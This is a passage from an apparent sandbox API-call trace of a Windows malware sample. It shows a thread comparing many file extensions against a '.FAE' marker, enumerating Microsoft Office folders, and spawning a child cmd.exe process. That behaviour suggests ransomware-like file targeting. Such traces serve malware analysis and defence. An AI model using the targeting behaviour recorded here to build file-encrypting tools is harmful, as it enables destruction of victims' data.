[0076.119] lstrlenW (lpString=".flv") returned 4 [0076.119] lstrcmpiW (lpString1=".flv", lpString2=".FAE") returned 1 [0076.119] lstrlenW (lpString=".frm") returned 4 [0076.119] lstrcmpiW (lpString1=".frm", lpString2=".FAE") returned 1 [0076.119] lstrlenW (lpString=".fxg") returned 4 [0076.119] lstrcmpiW (lpString1=".fxg", lpString2=".FAE") returned 1 [0076.119] lstrlenW (lpString=".geo") returned 4 [0076.119] lstrcmpiW (lpString1=".geo", lpString2=".FAE") returned 1 [0076.119] lstrlenW (lpString=".gif") returned 4 [0076.119] lstrcmpiW (lpString1=".gif", lpString2=".FAE") returned 1 [0076.119] lstrlenW (lpString=".grs") returned 4 [0076.119] lstrcmpiW (lpString1=".grs", lpString2=".FAE") returned 1 [0076.119] lstrlenW (lpString=".gz") returned 3 [0076.119] lstrcmpiW (lpString1=".gz", lpString2="FAE") returned -1 [0076.119] lstrlenW (lpString=".h") returned 2 [0076.119] lstrcmpiW (lpString1=".h", lpString2="AE") returned -1 [0076.119] lstrlenW (lpString=".hdr") returned 4 [0076.120] lstrcmpiW (lpString1=".hdr", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".hpp") returned 4 [0076.120] lstrcmpiW (lpString1=".hpp", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".hta") returned 4 [0076.120] lstrcmpiW (lpString1=".hta", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".htc") returned 4 [0076.120] lstrcmpiW (lpString1=".htc", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".htm") returned 4 [0076.120] lstrcmpiW (lpString1=".htm", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".html") returned 5 [0076.120] lstrcmpiW (lpString1=".html", lpString2="K.FAE") returned -1 [0076.120] lstrlenW (lpString=".icb") returned 4 [0076.120] lstrcmpiW (lpString1=".icb", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".ics") returned 4 [0076.120] lstrcmpiW (lpString1=".ics", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".iff") returned 4 [0076.120] lstrcmpiW (lpString1=".iff", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".inc") returned 4 [0076.120] lstrcmpiW (lpString1=".inc", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".indd") returned 5 [0076.120] lstrcmpiW (lpString1=".indd", lpString2="K.FAE") returned -1 [0076.120] lstrlenW (lpString=".ini") returned 4 [0076.120] lstrcmpiW (lpString1=".ini", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".iqy") returned 4 [0076.120] lstrcmpiW (lpString1=".iqy", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".j2c") returned 4 [0076.120] lstrcmpiW (lpString1=".j2c", lpString2=".FAE") returned 1 [0076.120] lstrlenW (lpString=".j2k") returned 4 [0076.121] lstrcmpiW (lpString1=".j2k", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".java") returned 5 [0076.121] lstrcmpiW (lpString1=".java", lpString2="K.FAE") returned -1 [0076.121] lstrlenW (lpString=".jp2") returned 4 [0076.121] lstrcmpiW (lpString1=".jp2", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".jpc") returned 4 [0076.121] lstrcmpiW (lpString1=".jpc", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".jpe") returned 4 [0076.121] lstrcmpiW (lpString1=".jpe", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".jpeg") returned 5 [0076.121] lstrcmpiW (lpString1=".jpeg", lpString2="K.FAE") returned -1 [0076.121] lstrlenW (lpString=".jpf") returned 4 [0076.121] lstrcmpiW (lpString1=".jpf", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".jpg") returned 4 [0076.121] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".jpx") returned 4 [0076.121] lstrcmpiW (lpString1=".jpx", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".js") returned 3 [0076.121] lstrcmpiW (lpString1=".js", lpString2="FAE") returned -1 [0076.121] lstrlenW (lpString=".jsf") returned 4 [0076.121] lstrcmpiW (lpString1=".jsf", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".json") returned 5 [0076.121] lstrcmpiW (lpString1=".json", lpString2="K.FAE") returned -1 [0076.121] lstrlenW (lpString=".jsp") returned 4 [0076.121] lstrcmpiW (lpString1=".jsp", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".kdc") returned 4 [0076.121] lstrcmpiW (lpString1=".kdc", lpString2=".FAE") returned 1 [0076.121] lstrlenW (lpString=".kmz") returned 4 [0076.122] lstrcmpiW (lpString1=".kmz", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".kwm") returned 4 [0076.122] lstrcmpiW (lpString1=".kwm", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".lasso") returned 6 [0076.122] lstrcmpiW (lpString1=".lasso", lpString2="SK.FAE") returned -1 [0076.122] lstrlenW (lpString=".lbi") returned 4 [0076.122] lstrcmpiW (lpString1=".lbi", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".lgf") returned 4 [0076.122] lstrcmpiW (lpString1=".lgf", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".lgp") returned 4 [0076.122] lstrcmpiW (lpString1=".lgp", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".log") returned 4 [0076.122] lstrcmpiW (lpString1=".log", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".m1v") returned 4 [0076.122] lstrcmpiW (lpString1=".m1v", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".m4a") returned 4 [0076.122] lstrcmpiW (lpString1=".m4a", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".m4v") returned 4 [0076.122] lstrcmpiW (lpString1=".m4v", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".max") returned 4 [0076.122] lstrcmpiW (lpString1=".max", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".md") returned 3 [0076.122] lstrcmpiW (lpString1=".md", lpString2="FAE") returned -1 [0076.122] lstrlenW (lpString=".mda") returned 4 [0076.122] lstrcmpiW (lpString1=".mda", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".mdb") returned 4 [0076.122] lstrcmpiW (lpString1=".mdb", lpString2=".FAE") returned 1 [0076.122] lstrlenW (lpString=".mde") returned 4 [0076.123] lstrcmpiW (lpString1=".mde", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mdf") returned 4 [0076.123] lstrcmpiW (lpString1=".mdf", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mdw") returned 4 [0076.123] lstrcmpiW (lpString1=".mdw", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mef") returned 4 [0076.123] lstrcmpiW (lpString1=".mef", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mft") returned 4 [0076.123] lstrcmpiW (lpString1=".mft", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mfw") returned 4 [0076.123] lstrcmpiW (lpString1=".mfw", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mht") returned 4 [0076.123] lstrcmpiW (lpString1=".mht", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mhtml") returned 6 [0076.123] lstrcmpiW (lpString1=".mhtml", lpString2="SK.FAE") returned -1 [0076.123] lstrlenW (lpString=".mka") returned 4 [0076.123] lstrcmpiW (lpString1=".mka", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mkidx") returned 6 [0076.123] lstrcmpiW (lpString1=".mkidx", lpString2="SK.FAE") returned -1 [0076.123] lstrlenW (lpString=".mkv") returned 4 [0076.123] lstrcmpiW (lpString1=".mkv", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mos") returned 4 [0076.123] lstrcmpiW (lpString1=".mos", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mov") returned 4 [0076.123] lstrcmpiW (lpString1=".mov", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mp3") returned 4 [0076.123] lstrcmpiW (lpString1=".mp3", lpString2=".FAE") returned 1 [0076.123] lstrlenW (lpString=".mp4") returned 4 [0076.124] lstrcmpiW (lpString1=".mp4", lpString2=".FAE") returned 1 [0076.124] lstrlenW (lpString=".mpeg") returned 5 [0076.124] lstrcmpiW (lpString1=".mpeg", lpString2="K.FAE") returned -1 [0076.124] lstrlenW (lpString=".mpg") returned 4 [0076.124] lstrcmpiW (lpString1=".mpg", lpString2=".FAE") returned 1 [0076.124] lstrlenW (lpString=".mpv") returned 4 [0076.124] lstrcmpiW (lpString1=".mpv", lpString2=".FAE") returned 1 [0076.124] lstrlenW (lpString=".mrw") returned 4 [0076.124] lstrcmpiW (lpString1=".mrw", lpString2=".FAE") returned 1 [0076.124] lstrlenW (lpString=".msg") returned 4 [0076.124] lstrcmpiW (lpString1=".msg", lpString2=".FAE") returned 1 [0076.124] lstrlenW (lpString=".mxl") returned 4 [0076.124] lstrcmpiW (lpString1=".mxl", lpString2=".FAE") returned 1 [0076.124] lstrlenW (lpString=".myd") returned 4 [0076.124] lstrcmpiW (lpString1=".myd", lpString2=".FAE") returned 1 [0076.124] lstrlenW (lpString=".myi") returned 4 [0076.124] lstrcmpiW (lpString1=".myi", lpString2=".FAE") returned 1 [0076.124] lstrlenW (lpString=".nef") returned 4 [0076.124] lstrcmpiW (lpString1=".nef", lpString2=".FAE") returned 1 [0076.124] lstrlenW (lpString=".nrw") returned 4 [0076.124] lstrcmpiW (lpString1=".nrw", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".obj") returned 4 [0076.125] lstrcmpiW (lpString1=".obj", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".odb") returned 4 [0076.125] lstrcmpiW (lpString1=".odb", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".odc") returned 4 [0076.125] lstrcmpiW (lpString1=".odc", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".odm") returned 4 [0076.125] lstrcmpiW (lpString1=".odm", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".odp") returned 4 [0076.125] lstrcmpiW (lpString1=".odp", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".ods") returned 4 [0076.125] lstrcmpiW (lpString1=".ods", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".oft") returned 4 [0076.125] lstrcmpiW (lpString1=".oft", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".one") returned 4 [0076.125] lstrcmpiW (lpString1=".one", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".onepkg") returned 7 [0076.125] lstrcmpiW (lpString1=".onepkg", lpString2="ASK.FAE") returned -1 [0076.125] lstrlenW (lpString=".onetoc2") returned 8 [0076.125] lstrcmpiW (lpString1=".onetoc2", lpString2="TASK.FAE") returned -1 [0076.125] lstrlenW (lpString=".opt") returned 4 [0076.125] lstrcmpiW (lpString1=".opt", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".oqy") returned 4 [0076.125] lstrcmpiW (lpString1=".oqy", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".orf") returned 4 [0076.125] lstrcmpiW (lpString1=".orf", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".p12") returned 4 [0076.125] lstrcmpiW (lpString1=".p12", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".p7b") returned 4 [0076.125] lstrcmpiW (lpString1=".p7b", lpString2=".FAE") returned 1 [0076.125] lstrlenW (lpString=".p7c") returned 4 [0076.126] lstrcmpiW (lpString1=".p7c", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pam") returned 4 [0076.126] lstrcmpiW (lpString1=".pam", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pbm") returned 4 [0076.126] lstrcmpiW (lpString1=".pbm", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pct") returned 4 [0076.126] lstrcmpiW (lpString1=".pct", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pcx") returned 4 [0076.126] lstrcmpiW (lpString1=".pcx", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pdd") returned 4 [0076.126] lstrcmpiW (lpString1=".pdd", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pdf") returned 4 [0076.126] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pdp") returned 4 [0076.126] lstrcmpiW (lpString1=".pdp", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pef") returned 4 [0076.126] lstrcmpiW (lpString1=".pef", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pem") returned 4 [0076.126] lstrcmpiW (lpString1=".pem", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pff") returned 4 [0076.126] lstrcmpiW (lpString1=".pff", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pfm") returned 4 [0076.126] lstrcmpiW (lpString1=".pfm", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pfx") returned 4 [0076.126] lstrcmpiW (lpString1=".pfx", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".pgm") returned 4 [0076.126] lstrcmpiW (lpString1=".pgm", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".php") returned 4 [0076.126] lstrcmpiW (lpString1=".php", lpString2=".FAE") returned 1 [0076.126] lstrlenW (lpString=".php3") returned 5 [0076.126] lstrcmpiW (lpString1=".php3", lpString2="K.FAE") returned -1 [0076.126] lstrlenW (lpString=".php4") returned 5 [0076.126] lstrcmpiW (lpString1=".php4", lpString2="K.FAE") returned -1 [0076.126] lstrlenW (lpString=".php5") returned 5 [0076.127] lstrcmpiW (lpString1=".php5", lpString2="K.FAE") returned -1 [0076.127] lstrlenW (lpString=".phtml") returned 6 [0076.127] lstrcmpiW (lpString1=".phtml", lpString2="SK.FAE") returned -1 [0076.127] lstrlenW (lpString=".pict") returned 5 [0076.127] lstrcmpiW (lpString1=".pict", lpString2="K.FAE") returned -1 [0076.127] lstrlenW (lpString=".pl") returned 3 [0076.127] lstrcmpiW (lpString1=".pl", lpString2="FAE") returned -1 [0076.127] lstrlenW (lpString=".pls") returned 4 [0076.127] lstrcmpiW (lpString1=".pls", lpString2=".FAE") returned 1 [0076.127] lstrlenW (lpString=".pm") returned 3 [0076.127] lstrcmpiW (lpString1=".pm", lpString2="FAE") returned -1 [0076.127] lstrlenW (lpString=".png") returned 4 [0076.127] lstrcmpiW (lpString1=".png", lpString2=".FAE") returned 1 [0076.127] lstrlenW (lpString=".pnm") returned 4 [0076.127] lstrcmpiW (lpString1=".pnm", lpString2=".FAE") returned 1 [0076.127] lstrlenW (lpString=".pot") returned 4 [0076.127] lstrcmpiW (lpString1=".pot", lpString2=".FAE") returned 1 [0076.127] lstrlenW (lpString=".potm") returned 5 [0076.127] lstrcmpiW (lpString1=".potm", lpString2="K.FAE") returned -1 [0076.127] lstrlenW (lpString=".potx") returned 5 [0076.127] lstrcmpiW (lpString1=".potx", lpString2="K.FAE") returned -1 [0076.127] lstrlenW (lpString=".ppa") returned 4 [0076.127] lstrcmpiW (lpString1=".ppa", lpString2=".FAE") returned 1 [0076.127] lstrlenW (lpString=".ppam") returned 5 [0076.127] lstrcmpiW (lpString1=".ppam", lpString2="K.FAE") returned -1 [0076.127] lstrlenW (lpString=".ppm") returned 4 [0076.127] lstrcmpiW (lpString1=".ppm", lpString2=".FAE") returned 1 [0076.127] lstrlenW (lpString=".pps") returned 4 [0076.127] lstrcmpiW (lpString1=".pps", lpString2=".FAE") returned 1 [0076.127] lstrlenW (lpString=".ppsm") returned 5 [0076.127] lstrcmpiW (lpString1=".ppsm", lpString2="K.FAE") returned -1 [0076.127] lstrlenW (lpString=".ppt") returned 4 [0076.127] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0076.127] lstrlenW (lpString=".pptm") returned 5 [0076.128] lstrcmpiW (lpString1=".pptm", lpString2="K.FAE") returned -1 [0076.128] lstrlenW (lpString=".pptx") returned 5 [0076.128] lstrcmpiW (lpString1=".pptx", lpString2="K.FAE") returned -1 [0076.128] lstrlenW (lpString=".prn") returned 4 [0076.128] lstrcmpiW (lpString1=".prn", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".ps") returned 3 [0076.128] lstrcmpiW (lpString1=".ps", lpString2="FAE") returned -1 [0076.128] lstrlenW (lpString=".psb") returned 4 [0076.128] lstrcmpiW (lpString1=".psb", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".psd") returned 4 [0076.128] lstrcmpiW (lpString1=".psd", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".pst") returned 4 [0076.128] lstrcmpiW (lpString1=".pst", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".ptx") returned 4 [0076.128] lstrcmpiW (lpString1=".ptx", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".pub") returned 4 [0076.128] lstrcmpiW (lpString1=".pub", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".pwm") returned 4 [0076.128] lstrcmpiW (lpString1=".pwm", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".pxr") returned 4 [0076.128] lstrcmpiW (lpString1=".pxr", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".py") returned 3 [0076.128] lstrcmpiW (lpString1=".py", lpString2="FAE") returned -1 [0076.128] lstrlenW (lpString=".qt") returned 3 [0076.128] lstrcmpiW (lpString1=".qt", lpString2="FAE") returned -1 [0076.128] lstrlenW (lpString=".r3d") returned 4 [0076.128] lstrcmpiW (lpString1=".r3d", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".raf") returned 4 [0076.128] lstrcmpiW (lpString1=".raf", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".rar") returned 4 [0076.128] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0076.128] lstrlenW (lpString=".raw") returned 4 [0076.128] lstrcmpiW (lpString1=".raw", lpString2=".FAE") returned 1 [0076.129] FindNextFileW (in: hFindFile=0x3ed1520, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5988a8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xc588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97.SAM", cAlternateFileName="")) returned 1 [0076.129] FindClose (in: hFindFile=0x3ed1520 | out: hFindFile=0x3ed1520) returned 1 [0076.129] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f02698 | out: hHeap=0x4b0000) returned 1 [0076.129] FindNextFileW (in: hFindFile=0x3ed1360, lpFindFileData=0x352f58c | out: lpFindFileData=0x352f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0076.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1520 [0076.492] FindNextFileW (in: hFindFile=0x3ed1520, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.492] FindNextFileW (in: hFindFile=0x3ed1520, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 Thread: id = 25 os_tid = 0x7a4 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x42d48000" os_pid = "0xb1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xb80" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xb94 [0059.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fad0 | out: lpSystemTimeAsFileTime=0x28fad0*(dwLowDateTime=0x1ce61710, dwHighDateTime=0x1d60459)) [0059.913] GetCurrentProcessId () returned 0xb1c [0059.914] GetCurrentThreadId () returned 0xb94 [0059.914] GetTickCount () returned 0x11459e3 [0059.914] QueryPerformanceCounter (in: lpPerformanceCount=0x28fad8 | out: lpPerformanceCount=0x28fad8*=17987061509) returned 1 [0059.915] GetModuleHandleW (lpModuleName=0x0) returned 0x49f50000 [0059.915] __set_app_type (_Type=0x1) [0059.915] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49f77810) returned 0x0 [0059.915] __getmainargs (in: _Argc=0x49f9a608, _Argv=0x49f9a618, _Env=0x49f9a610, _DoWildCard=0, _StartInfo=0x49f7e0f4 | out: _Argc=0x49f9a608, _Argv=0x49f9a618, _Env=0x49f9a610) returned 0 [0059.915] GetCurrentThreadId () returned 0xb94 [0059.915] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb94) returned 0x3c [0059.916] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0059.916] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0059.916] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0059.917] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0059.917] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28fa68 | out: phkResult=0x28fa68*=0x0) returned 0x2 [0059.917] VirtualQuery (in: lpAddress=0x28fa50, lpBuffer=0x28f9d0, dwLength=0x30 | out: lpBuffer=0x28f9d0*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0059.917] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28f9d0, dwLength=0x30 | out: lpBuffer=0x28f9d0*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0059.917] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28f9d0, dwLength=0x30 | out: lpBuffer=0x28f9d0*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0059.917] VirtualQuery (in: lpAddress=0x194000, lpBuffer=0x28f9d0, dwLength=0x30 | out: lpBuffer=0x28f9d0*(BaseAddress=0x194000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0059.917] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28f9d0, dwLength=0x30 | out: lpBuffer=0x28f9d0*(BaseAddress=0x290000, AllocationBase=0x290000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0059.917] GetConsoleOutputCP () returned 0x1b5 [0059.917] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f8bfe0 | out: lpCPInfo=0x49f8bfe0) returned 1 [0059.917] SetConsoleCtrlHandler (HandlerRoutine=0x49f73184, Add=1) returned 1 [0059.918] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.918] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0059.918] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.918] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49f7e194 | out: lpMode=0x49f7e194) returned 0 [0059.918] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.918] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49f7e198 | out: lpMode=0x49f7e198) returned 0 [0059.918] GetEnvironmentStringsW () returned 0x88a60* [0059.918] GetProcessHeap () returned 0x70000 [0059.918] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xa7c) returned 0x894f0 [0059.918] FreeEnvironmentStringsW (penv=0x88a60) returned 1 [0059.918] GetProcessHeap () returned 0x70000 [0059.918] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x8) returned 0x888e0 [0059.918] GetEnvironmentStringsW () returned 0x88a60* [0059.918] GetProcessHeap () returned 0x70000 [0059.918] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xa7c) returned 0x89f80 [0059.919] FreeEnvironmentStringsW (penv=0x88a60) returned 1 [0059.919] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e928 | out: phkResult=0x28e928*=0x44) returned 0x0 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x0, lpData=0x28e940*=0x18, lpcbData=0x28e924*=0x1000) returned 0x2 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x4, lpData=0x28e940*=0x1, lpcbData=0x28e924*=0x4) returned 0x0 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x0, lpData=0x28e940*=0x1, lpcbData=0x28e924*=0x1000) returned 0x2 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x4, lpData=0x28e940*=0x0, lpcbData=0x28e924*=0x4) returned 0x0 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x4, lpData=0x28e940*=0x40, lpcbData=0x28e924*=0x4) returned 0x0 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x4, 